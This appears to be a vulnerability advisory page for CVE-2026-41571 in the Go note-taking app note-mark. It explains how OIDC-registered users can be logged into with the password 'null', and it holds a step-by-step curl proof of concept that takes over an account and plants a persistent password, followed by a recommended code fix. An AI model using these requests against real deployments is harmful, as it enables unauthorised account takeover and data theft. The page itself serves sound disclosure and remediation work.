NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2026-41571: Note Mark: OIDC-registered users authenticated by submitting password "null"

criticalCVSS 3.1 9.4GHSA-pxf8-6wqm-r6hh

Summary IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Published Apr 25, 2026 · Updated May 7, 2026

Affected packages

github.com/enchant97/note-mark/backend

Ecosystem
Go
Affected
< 0.0.0-20260417132909-dea5530cc989
Fixed in
0.0.0-20260417132909-dea5530cc989
Check
go list -m github.com/enchant97/note-mark/backend

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
        return true
    }
    return false
}

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

Step 4: Bob logs in as Alice via the internal endpoint.

curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'

Response:

HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

Step 5: Bob uses the cookie to read Alice's account.

curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}

Step 6: Bob persists access by writing his own password onto Alice's row.

curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content

Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.

A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.

Impact

Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.

The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.

Recommended Fix

The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in GetAccessToken:

// backend/services/auth.go:28
var user db.User
if err := db.DB.
    First(&user, "username = ?", username).
    Select("id", "password").Error; err != nil {
    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
    return core.AccessToken{}, InvalidCredentialsError
}

if len(user.Password) == 0 {
    return core.AccessToken{}, InvalidCredentialsError
}

if !user.IsPasswordMatch(password) {
    return core.AccessToken{}, InvalidCredentialsError
}

The equivalent change belongs in UpdateUserPassword at backend/services/users.go:53-61, since the same routine verifies existingPassword during the persistence step.

Replacing nullPasswordHash with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:

// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)

The explicit empty-password check is preferable because the intent is readable in the source.

--- *Found by aisafe.io*

Credited to adrgs, aisafe-bot.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Go vulnerabilities

All Go entries